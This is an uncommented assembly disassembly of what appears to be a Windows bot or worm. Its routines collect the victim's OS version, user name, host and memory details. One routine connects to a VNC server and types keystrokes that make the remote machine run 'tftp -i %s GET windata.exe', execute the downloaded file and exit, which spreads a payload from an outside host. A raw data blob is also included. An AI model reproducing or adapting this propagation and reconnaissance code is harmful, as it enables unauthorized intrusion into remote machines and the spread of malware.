mov [ebp+70h+var_4], offset aNt_0 ; "NT"
jmp short loc_41D827
; ---------------------------------------------------------------------------
loc_41D7CC: ; CODE XREF: sub_41D779+31j
cmp [ebp+70h+var_C4], 0Ah
jnz short loc_41D7DB
mov [ebp+70h+var_4], offset a98 ; "98"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D7DB: ; CODE XREF: sub_41D779+57j
cmp [ebp+70h+var_C4], 5Ah
jnz short loc_41D81A
mov [ebp+70h+var_4], offset aMe_0 ; "ME"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D7EA: ; CODE XREF: sub_41D779+2Cj
cmp [ebp+70h+var_C8], 5
jnz short loc_41D81A
cmp [ebp+70h+var_C4], ebx
jnz short loc_41D7FE
mov [ebp+70h+var_4], offset a2k ; "2K"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D7FE: ; CODE XREF: sub_41D779+7Aj
cmp [ebp+70h+var_C4], 1
jnz short loc_41D80D
mov [ebp+70h+var_4], offset aXp_0 ; "XP"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D80D: ; CODE XREF: sub_41D779+89j
cmp [ebp+70h+var_C4], 2
mov [ebp+70h+var_4], offset a2003 ; "2003"
jz short loc_41D821
loc_41D81A: ; CODE XREF: sub_41D779+66j
; sub_41D779+75j
mov [ebp+70h+var_4], offset a??? ; "???"
loc_41D821: ; CODE XREF: sub_41D779+60j
; sub_41D779+6Fj ...
cmp [ebp+70h+var_BC], 2
jnz short loc_41D850
loc_41D827: ; CODE XREF: sub_41D779+51j
cmp [ebp+70h+var_B8], bl
jz short loc_41D850
lea eax, [ebp+70h+var_B8]
push eax
push [ebp+70h+var_4]
lea eax, [ebp+70h+var_2E8]
push offset aSS_4 ; "%s (%s)"
push eax
call sub_41E6A6
lea eax, [ebp+70h+var_2E8]
add esp, 10h
mov [ebp+70h+var_4], eax
loc_41D850: ; CODE XREF: sub_41D779+44j
; sub_41D779+ACj ...
push 3Fh
pop ecx
xor eax, eax
mov [ebp+70h+var_25C], cx
lea edi, [ebp+70h+var_25A]
rep stosd
stosw
mov eax, ds:dword_444198
cmp eax, ebx
mov [ebp+70h+var_C], 100h
jz short loc_41D883
lea ecx, [ebp+70h+var_C]
push ecx
lea ecx, [ebp+70h+var_25C]
push ecx
call eax ; GetUserNameA
loc_41D883: ; CODE XREF: sub_41D779+FBj
push [ebp+70h+arg_4]
call sub_4023C9
pop ecx
push eax
call ds:dword_44417C ; inet_addr
push 2
mov [ebp+70h+var_8], eax
push 4
lea eax, [ebp+70h+var_8]
push eax
call ds:dword_4441FC ; gethostbyaddr
cmp eax, ebx
jz short loc_41D8AC
push dword ptr [eax]
jmp short loc_41D8B1
; ---------------------------------------------------------------------------
loc_41D8AC: ; CODE XREF: sub_41D779+12Dj
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41D8B1: ; CODE XREF: sub_41D779+131j
lea eax, [ebp+70h+var_3E4]
push eax
call sub_41E6A6
pop ecx
pop ecx
push 104h
lea eax, [ebp+70h+var_4E8]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
push 46h
lea eax, [ebp+70h+var_114]
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
push ebx
mov esi, 409h
push esi
call ds:dword_42B0C4 ; GetDateFormatA
push 46h
lea eax, [ebp+70h+var_15C]
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_42B0C0 ; GetTimeFormatA
push 20h
lea eax, [ebp+70h+var_38]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+70h+var_38]
push eax
call ds:dword_42B134 ; GlobalMemoryStatus
push ebx
push ebx
push ebx
lea eax, [ebp+70h+var_18]
push eax
lea eax, [ebp+70h+var_4E8]
push eax
call sub_41ED01
lea eax, [ebp+70h+var_18]
push eax
lea eax, [ebp+70h+var_7E8]
push eax
call sub_419549
push 60h
pop ecx
mov esi, eax
lea edi, [ebp+70h+var_668]
push ebx
rep movsd
call sub_41D5F8
add esp, 20h
push eax
lea eax, [ebp+70h+var_15C]
push eax
lea eax, [ebp+70h+var_114]
push eax
lea eax, [ebp+70h+var_25C]
push eax
push [ebp+70h+arg_4]
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+70h+var_3E4]
push eax
lea eax, [ebp+70h+var_4E8]
push eax
push [ebp+70h+var_C0]
lea eax, [ebp+70h+var_5E8]
push [ebp+70h+var_C4]
push [ebp+70h+var_C8]
push [ebp+70h+var_4]
push eax
lea eax, [ebp+70h+var_568]
push eax
mov eax, [ebp+70h+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_419443
pop ecx
pop ecx
push eax
mov eax, [ebp+70h+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_419443
pop ecx
pop ecx
push eax
call sub_41D6C3
push edx
push eax
push offset dword_439160
push 200h
push [ebp+70h+arg_0]
call sub_41E6FE
mov eax, [ebp+70h+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
add ebp, 70h
leave
retn
sub_41D779 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
sub_41D9E5 proc near ; CODE XREF: sub_40274D+2593p
; sub_40274D+6F0Cp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+6Ch+var_8C]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
cmp ds:dword_44428C, 0
jnz short loc_41DA52
push 0
push esi
lea eax, [ebp+6Ch+var_8C]
push eax
lea eax, [ebp+6Ch+var_C]
push eax
call ds:dword_44425C ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41DA33
lea eax, [ebp+6Ch+var_8C]
push offset aNotConnected ; "Not connected"
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_41DA33: ; CODE XREF: sub_41D9E5+3Cj
test [ebp+6Ch+var_C], 1
lea eax, [ebp+6Ch+var_8]
jz short loc_41DA4B
push offset aDialUp ; "Dial-up"
loc_41DA41: ; CODE XREF: sub_41D9E5+6Bj
push eax
call sub_41E6A6
pop ecx
pop ecx
jmp short loc_41DA6E
; ---------------------------------------------------------------------------
loc_41DA4B: ; CODE XREF: sub_41D9E5+55j
push offset off_4392B0
jmp short loc_41DA41
; ---------------------------------------------------------------------------
loc_41DA52: ; CODE XREF: sub_41D9E5+27j
mov esi, offset off_4392AC
lea eax, [ebp+6Ch+var_8]
push esi
push eax
call sub_41E6A6
lea eax, [ebp+6Ch+var_8C]
push esi
push eax
call sub_41E6A6
add esp, 10h
loc_41DA6E: ; CODE XREF: sub_41D9E5+64j
push [ebp+6Ch+arg_4]
push [ebp+6Ch+arg_8]
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+6Ch+var_8C]
push eax
lea eax, [ebp+6Ch+var_8]
push eax
push offset dword_439268
push 200h
push [ebp+6Ch+arg_0]
call sub_41E6FE
mov eax, [ebp+6Ch+arg_0]
add esp, 1Ch
pop esi
add ebp, 6Ch
leave
retn
sub_41D9E5 endp
; ---------------------------------------------------------------------------
byte_41DAA1 db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+7345o
dd 0EC818C24h, 65Ch, 537C458Bh, 656A5756h, 8DF08B59h, 0FFFD18BDh
dd 33A5F3FFh, 0BFDB33F6h, 80h, 0B0895746h, 190h, 0FF2C858Dh
dd 5053FFFFh, 896C5D89h, 45C7705Dh, 43939C68h, 0B06E800h
dd 8D570000h, 0FFFEAC85h, 0E85053FFh, 0AF8h, 0AC458D57h
dd 0EDE85053h, 6800000Ah, 100h, 0FA18858Dh, 5053FFFFh
dd 0ADBE8h, 5F3C6A00h, 2C458D57h, 0CDE85053h, 8300000Ah
dd 458D3CC4h, 858D502Ch, 0FFFFFD1Ch, 7D895053h, 4075892Ch
dd 894C7589h, 75895475h, 67AE85Ch, 50590000h, 0FD1C858Dh
dd 0FF50FFFFh, 44407015h, 75C08500h, 18858D18h, 68FFFFFBh
dd 439380h, 0B3CE850h, 0F38B0000h, 0EFE9h, 405D3900h, 75FF1576h
dd 2C858D40h, 0FFFFFFFFh, 0E8503C75h, 0CD8h, 390CC483h
dd 0B70F4C5Dh, 15764475h, 8D4C75FFh, 0FFFEAC85h, 4875FFFFh
dd 0CBAE850h, 0C4830000h, 545D390Ch, 75FF1276h, 0AC458D54h
dd 505075FFh, 0CA3E8h, 0CC48300h, 765C5D39h, 5C75FF15h
dd 0FA18858Dh, 75FFFFFFh, 89E85058h, 8300000Ch, 53530CC4h
dd 458D036Ah, 858D50ACh, 0FFFFFEACh, 858D5650h, 0FFFFFF2Ch
dd 5435FF50h, 0FF004442h, 44413C15h, 3BF08B00h, 680775F3h
dd 439354h, 68534AEBh, 200h, 5068458Dh, 0FD9C858Dh, 5350FFFFh
dd 0FA18858Dh, 5350FFFFh, 2C15FF56h, 3B004441h, 704589C3h
dd 24680775h, 0EB004393h, 5353531Bh, 15FF5053h, 444258h
dd 774C085h, 43930868h, 6805EB00h, 4392CCh, 0FB18858Dh
dd 0E850FFFFh, 0A46h, 0FEA09D39h, 5959FFFFh, 0FF532375h
dd 0FFFEA4B5h, 18858DFFh, 50FFFFFBh, 0FE1C858Dh, 0FF50FFFFh
dd 0FFFD18B5h, 35B1E8FFh, 0C483FFFEh, 18858D14h, 50FFFFFBh
dd 0FFA0D7E8h, 0FF5659FFh, 44416415h, 7075FF00h, 416415FFh
dd 0B5FF0044h, 0FFFFFE9Ch, 0FED494E8h, 0FF5359FFh, 42B06815h
db 0, 0CCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DCBE proc near ; CODE XREF: seg000:0041DEEAp
; seg000:0041DF08p ...
var_1C = byte ptr -1Ch
var_14 = byte ptr -14h
var_C = word ptr -0Ch
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov esi, offset dword_4393A8
lea edi, [ebp+var_14]
movsd
movsb
mov esi, offset dword_4393A0
lea edi, [ebp+var_1C]
movsd
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], 4
mov [ebp+var_C], 1
mov [ebp+var_8], bx
movsw
jnz short loc_41DD74
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_0]
mov [ebp+arg_8], ebx
loc_41DCFE: ; CODE XREF: sub_41DCBE+B2j
mov eax, [ebp+arg_8]
sub eax, ebx
jz short loc_41DD1B
dec eax
jnz short loc_41DD69
push ebx
push 1
lea eax, [ebp+var_4]
push eax
push esi
call ds:dword_4441A0 ; send
lea eax, [ebp+var_8]
jmp short loc_41DD2C
; ---------------------------------------------------------------------------
loc_41DD1B: ; CODE XREF: sub_41DCBE+45j
push ebx
push 1
lea eax, [ebp+var_4]
push eax
push esi
call ds:dword_4441A0 ; send
lea eax, [ebp+var_C]
loc_41DD2C: ; CODE XREF: sub_41DCBE+5Bj
push ebx
push 1
push eax
push esi
call ds:dword_4441A0 ; send
push edi
call sub_41E1C0
cmp eax, 2
pop ecx
push ebx
jnz short loc_41DD4B
push 4
lea eax, [ebp+var_14]
jmp short loc_41DD50
; ---------------------------------------------------------------------------
loc_41DD4B: ; CODE XREF: sub_41DCBE+84j
push 5
lea eax, [ebp+var_1C]
loc_41DD50: ; CODE XREF: sub_41DCBE+8Bj
push eax
push esi
call ds:dword_4441A0 ; send
push ebx
push edi
call sub_41E1C0
pop ecx
push eax
push edi
push esi
call ds:dword_4441A0 ; send
loc_41DD69: ; CODE XREF: sub_41DCBE+48j
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41DCFE
jmp short loc_41DDE7
; ---------------------------------------------------------------------------
loc_41DD74: ; CODE XREF: sub_41DCBE+35j
dec eax
jz short loc_41DD90
dec eax
jnz short loc_41DDE7
mov esi, [ebp+arg_0]
push ebx
push 1
lea eax, [ebp+var_4]
push eax
push esi
call ds:dword_4441A0 ; send
lea eax, [ebp+var_8]
jmp short loc_41DDA4
; ---------------------------------------------------------------------------
loc_41DD90: ; CODE XREF: sub_41DCBE+B7j
mov esi, [ebp+arg_0]
push ebx
push 1
lea eax, [ebp+var_4]
push eax
push esi
call ds:dword_4441A0 ; send
lea eax, [ebp+var_C]
loc_41DDA4: ; CODE XREF: sub_41DCBE+D0j
push ebx
push 1
push eax
push esi
call ds:dword_4441A0 ; send
push [ebp+arg_4]
call sub_41E1C0
cmp eax, 2
pop ecx
push ebx
jnz short loc_41DDC5
push 4
lea eax, [ebp+var_14]
jmp short loc_41DDCA
; ---------------------------------------------------------------------------
loc_41DDC5: ; CODE XREF: sub_41DCBE+FEj
push 5
lea eax, [ebp+var_1C]
loc_41DDCA: ; CODE XREF: sub_41DCBE+105j
push eax
push esi
call ds:dword_4441A0 ; send
push ebx
push [ebp+arg_4]
call sub_41E1C0
pop ecx
push eax
push [ebp+arg_4]
push esi
call ds:dword_4441A0 ; send
loc_41DDE7: ; CODE XREF: sub_41DCBE+B4j
; sub_41DCBE+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_41DCBE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8Ch
push ebx
push esi
push edi
mov esi, offset aRfb003_008 ; "RFB 003.008\n"
lea edi, [ebp-3Ch]
movsd
movsd
movsd
movsb
mov esi, offset dword_4393D0
lea edi, [ebp-24h]
movsw
movsb
mov esi, offset dword_4393A8
lea edi, [ebp-2Ch]
movsd
movsb
mov esi, offset dword_4393CC
lea edi, [ebp-18h]
movsw
movsb
mov esi, offset dword_4393C8
lea edi, [ebp-10h]
movsw
xor ebx, ebx
push ebx
push 1
movsb
push 2
mov word ptr [ebp-14h], 1
mov word ptr [ebp-20h], 1
mov word ptr [ebp-1Ch], 72h
xor edi, edi
call ds:dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp-8], esi
jnz short loc_41DE61
push eax
call ds:dword_444218 ; closesocket
loc_41DE61: ; CODE XREF: seg000:0041DE58j
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-4Ch], 2
call ds:dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
call ds:dword_444260 ; htons
mov [ebp-4Ah], ax
push 10h
lea eax, [ebp-4Ch]
push eax
push esi
call ds:dword_4440AC ; connect
test eax, eax
jnz loc_41E113
jmp loc_41E18C
; ---------------------------------------------------------------------------
loc_41DE9E: ; CODE XREF: seg000:0041E1B1j
cmp eax, 0FFFFFFFFh
jz short loc_41DED5
mov eax, edi
sub eax, ebx
jz loc_41E153
dec eax
jz loc_41E121
dec eax
jnz loc_41E183
lea eax, [ebp-2Ch]
push eax
lea eax, [ebp-8Ch]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_41E113
loc_41DED5: ; CODE XREF: seg000:0041DEA1j
; seg000:0041E186j ...
push ebx
push 1
lea eax, [ebp-20h]
push eax
push esi
call ds:dword_4441A0 ; send
push 1
lea eax, [ebp-18h]
push eax
push esi
call sub_41DCBE
mov esi, ds:dword_42B014
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; Sleep
push ebx
lea eax, [ebp-1Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push edi
call esi ; Sleep
push 2
lea eax, [ebp-18h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push edi
call esi ; Sleep
push offset byte_4434E0
mov [ebp-4], ebx
call sub_41E1C0
test eax, eax
pop ecx
mov ebx, offset aC_2 ; "%c"
jbe short loc_41DF7D
loc_41DF3E: ; CODE XREF: seg000:0041DF7Bj
mov eax, [ebp-4]
movsx eax, ds:byte_4434E0[eax]
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call sub_41E6FE
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push offset byte_4434E0
call sub_41E1C0
cmp [ebp-4], eax
pop ecx
jb short loc_41DF3E
loc_41DF7D: ; CODE XREF: seg000:0041DF3Cj
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push 7D0h
call esi ; Sleep
push 100h
push 0
push offset byte_4E27F0
call sub_41E5F0
add esp, 0Ch
push offset aWindata_exe ; "windata.exe"
push dword ptr [ebp+8]
call sub_4023C9
pop ecx
push eax
push offset aTftpISGetS ; "tftp -i %s GET %s"
push 0FFh
push offset byte_4E27F0
call sub_41E6FE
and dword ptr [ebp-4], 0
push offset byte_4E27F0
call sub_41E1C0
add esp, 18h
test eax, eax
jbe short loc_41E020
loc_41DFE1: ; CODE XREF: seg000:0041E01Ej
mov eax, [ebp-4]
movsx eax, ds:byte_4E27F0[eax]
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call sub_41E6FE
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push offset byte_4E27F0
call sub_41E1C0
cmp [ebp-4], eax
pop ecx
jb short loc_41DFE1
loc_41E020: ; CODE XREF: seg000:0041DFDFj
push edi
call esi ; Sleep
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
push 7530h
call esi ; Sleep
and dword ptr [ebp-4], 0
push offset aWindata_exe ; "windata.exe"
call sub_41E1C0
test eax, eax
pop ecx
jbe short loc_41E08D
loc_41E04E: ; CODE XREF: seg000:0041E08Bj
mov eax, [ebp-4]
movsx eax, byte ptr ds:aWindata_exe[eax] ; "windata.exe"
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call sub_41E6FE
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push offset aWindata_exe ; "windata.exe"
call sub_41E1C0
cmp [ebp-4], eax
pop ecx
jb short loc_41E04E
loc_41E08D: ; CODE XREF: seg000:0041E04Cj
push edi
call esi ; Sleep
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
and dword ptr [ebp-4], 0
mov edi, offset aExit ; "exit"
push edi
call sub_41E1C0
add esp, 10h
test eax, eax
jbe short loc_41E0EF
loc_41E0B4: ; CODE XREF: seg000:0041E0EDj
mov eax, [ebp-4]
movsx eax, byte ptr ds:aExit[eax] ; "exit"
push eax
push ebx
lea eax, [ebp-0Ch]
push 3
push eax
call sub_41E6FE
push 0
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push edi
call sub_41E1C0
cmp [ebp-4], eax
pop ecx
jb short loc_41E0B4
loc_41E0EF: ; CODE XREF: seg000:0041E0B2j
push 2
pop edi
loc_41E0F2: ; CODE XREF: seg000:0041E10Bj
push 258h
call esi ; Sleep
push 0
lea eax, [ebp-10h]
push eax
push dword ptr [ebp-8]
call sub_41DCBE
add esp, 0Ch
dec edi
jnz short loc_41E0F2
mov esi, [ebp-8]
xor ebx, ebx
inc ebx
loc_41E113: ; CODE XREF: seg000:0041DE93j
; seg000:0041DECFj ...
push esi
call ds:dword_444218 ; closesocket
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41E121: ; CODE XREF: seg000:0041DEAEj
lea eax, [ebp-24h]
push eax
lea eax, [ebp-8Ch]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_41E113
lea eax, [ebp-14h]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp-14h]
push eax
push esi
call ds:dword_4441A0 ; send
push 2
pop edi
jmp short loc_41E18C
; ---------------------------------------------------------------------------
loc_41E153: ; CODE XREF: seg000:0041DEA7j
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-8Ch]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_41E113
lea eax, [ebp-3Ch]
push ebx
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp-3Ch]
push eax
push esi
call ds:dword_4441A0 ; send
xor edi, edi
inc edi
loc_41E183: ; CODE XREF: seg000:0041DEB5j
cmp edi, 3
jz loc_41DED5
loc_41E18C: ; CODE XREF: seg000:0041DE99j
; seg000:0041E151j
push 40h
lea eax, [ebp-8Ch]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push ebx
push 40h
lea eax, [ebp-8Ch]
push eax
push esi
call ds:dword_444064 ; recv
cmp eax, ebx
jg loc_41DE9E
jmp loc_41DED5
; ---------------------------------------------------------------------------
dd 0CCCCCCCCh
; =============== S U B R O U T I N E =======================================
sub_41E1C0 proc near ; CODE XREF: sub_401000+38p
; sub_4011F5+2Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41E1F0
loc_41E1CC: ; CODE XREF: sub_41E1C0+1Bj
mov al, [ecx]
add ecx, 1
test al, al
jz short loc_41E223
test ecx, 3
jnz short loc_41E1CC
add eax, 0
lea esp, [esp+0]
lea esp, [esp+0]
loc_41E1F0: ; CODE XREF: sub_41E1C0+Aj
; sub_41E1C0+46j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41E1F0
mov eax, [ecx-4]
test al, al
jz short loc_41E241
test ah, ah
jz short loc_41E237
test eax, 0FF0000h
jz short loc_41E22D
test eax, 0FF000000h
jz short loc_41E223
jmp short loc_41E1F0
; ---------------------------------------------------------------------------
loc_41E223: ; CODE XREF: sub_41E1C0+13j
; sub_41E1C0+5Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41E22D: ; CODE XREF: sub_41E1C0+58j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41E237: ; CODE XREF: sub_41E1C0+51j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41E241: ; CODE XREF: sub_41E1C0+4Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41E1C0 endp
; =============== S U B R O U T I N E =======================================
sub_41E24B proc near ; CODE XREF: sub_40274D+55FCp
; sub_40274D+71BCp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
push edi
or edi, 0FFFFFFFFh
test al, 40h
jz short loc_41E260
or eax, 0FFFFFFFFh
jmp short loc_41E29A
; ---------------------------------------------------------------------------
loc_41E260: ; CODE XREF: sub_41E24B+Ej
test al, 83h
jz short loc_41E298
push esi
call sub_420FC7
push esi
mov edi, eax
call sub_420F9C
push dword ptr [esi+10h]
call sub_420EE9
add esp, 0Ch
test eax, eax
jge short loc_41E286
or edi, 0FFFFFFFFh
jmp short loc_41E298
; ---------------------------------------------------------------------------
loc_41E286: ; CODE XREF: sub_41E24B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41E298
push eax
call sub_41E2A1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41E298: ; CODE XREF: sub_41E24B+17j
; sub_41E24B+39j ...
mov eax, edi
loc_41E29A: ; CODE XREF: sub_41E24B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41E24B endp
; =============== S U B R O U T I N E =======================================
sub_41E2A1 proc near ; CODE XREF: sub_4022F5+BCp
; sub_40AE18+5Ep ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41E2D7
cmp ds:dword_4E2F00, 3
push esi
jnz short loc_41E2C9
call sub_421188
test eax, eax
pop ecx
push esi
jz short loc_41E2C9
push eax
call sub_4211B3
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E2C9: ; CODE XREF: sub_41E2A1+11j
; sub_41E2A1+1Cj
push 0
push ds:dword_4E2EFC
call ds:dword_42B0E0 ; RtlFreeHeap
loc_41E2D7: ; CODE XREF: sub_41E2A1+7j
pop esi
retn
sub_41E2A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E2D9 proc near ; CODE XREF: seg000:00411ACBp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
test edi, edi
mov ecx, edi
mov [ebp+var_8], edi
mov [ebp+arg_0], ecx
jnz short loc_41E2FD
xor eax, eax
jmp loc_41E3A8
; ---------------------------------------------------------------------------
loc_41E2FD: ; CODE XREF: sub_41E2D9+1Bj
push esi
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41E311
mov eax, [esi+18h]
mov [ebp+var_4], eax
jmp short loc_41E31D
; ---------------------------------------------------------------------------
loc_41E311: ; CODE XREF: sub_41E2D9+2Ej
mov [ebp+var_4], 1000h
jmp short loc_41E31D
; ---------------------------------------------------------------------------
loc_41E31A: ; CODE XREF: sub_41E2D9+C5j
mov ecx, [ebp+arg_0]
loc_41E31D: ; CODE XREF: sub_41E2D9+36j
; sub_41E2D9+3Fj
test word ptr [esi+0Ch], 10Ch
jz short loc_41E34F
mov eax, [esi+4]
test eax, eax
jz short loc_41E34F
cmp ecx, eax
mov edi, ecx
jb short loc_41E334
mov edi, eax
loc_41E334: ; CODE XREF: sub_41E2D9+57j
push edi
push dword ptr [esi]
push ebx
call sub_41F400
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_8]
jmp short loc_41E39A
; ---------------------------------------------------------------------------
loc_41E34F: ; CODE XREF: sub_41E2D9+4Aj
; sub_41E2D9+51j
cmp ecx, [ebp+var_4]
jb short loc_41E382
cmp [ebp+var_4], 0
mov eax, ecx
jz short loc_41E365
xor edx, edx
div [ebp+var_4]
mov eax, ecx
sub eax, edx
loc_41E365: ; CODE XREF: sub_41E2D9+81j
push eax
push ebx
push dword ptr [esi+10h]
call sub_421D41
add esp, 0Ch
test eax, eax
jz short loc_41E3AC
cmp eax, 0FFFFFFFFh
jz short loc_41E3BC
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41E39A
; ---------------------------------------------------------------------------
loc_41E382: ; CODE XREF: sub_41E2D9+79j
push esi
call sub_421C63
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E3B0
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+var_4], eax
loc_41E39A: ; CODE XREF: sub_41E2D9+74j
; sub_41E2D9+A7j
cmp [ebp+arg_0], 0
jnz loc_41E31A
mov eax, [ebp+arg_8]
loc_41E3A7: ; CODE XREF: sub_41E2D9+E1j
pop esi
loc_41E3A8: ; CODE XREF: sub_41E2D9+1Fj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41E3AC: ; CODE XREF: sub_41E2D9+9Bj
or dword ptr [esi+0Ch], 10h
loc_41E3B0: ; CODE XREF: sub_41E2D9+B3j
; sub_41E2D9+E7j
mov eax, edi
sub eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41E3A7
; ---------------------------------------------------------------------------
loc_41E3BC: ; CODE XREF: sub_41E2D9+A0j
or dword ptr [esi+0Ch], 20h
jmp short loc_41E3B0
sub_41E2D9 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C2 proc near ; CODE XREF: sub_42319B+34p
; sub_42319B+49p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push ebp
push edi
jnz short loc_41E3DC
push [esp+0Ch+arg_4]
call sub_41E5D3
pop ecx
jmp loc_41E520
; ---------------------------------------------------------------------------
loc_41E3DC: ; CODE XREF: sub_41E3C2+9j
push esi
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_41E3F1
push ebx
call sub_41E2A1
pop ecx
jmp loc_41E51D
; ---------------------------------------------------------------------------
loc_41E3F1: ; CODE XREF: sub_41E3C2+21j
cmp ds:dword_4E2F00, 3
jnz loc_41E4E9
loc_41E3FE: ; CODE XREF: sub_41E3C2+11Bj
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41E4CB
push ebx
call sub_421188
mov ebp, eax
test ebp, ebp
pop ecx
jz loc_41E4AA
cmp esi, ds:dword_4E2EEC
ja short loc_41E46A
push esi
push ebx
push ebp
call sub_421688
add esp, 0Ch
test eax, eax
jz short loc_41E435
mov edi, ebx
jmp short loc_41E466
; ---------------------------------------------------------------------------
loc_41E435: ; CODE XREF: sub_41E3C2+6Dj
push esi
call sub_421967
mov edi, eax
test edi, edi
pop ecx
jz short loc_41E46A
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41E44C
mov eax, esi
loc_41E44C: ; CODE XREF: sub_41E3C2+86j
push eax
push ebx
push edi
call sub_41F400
push ebx
call sub_421188
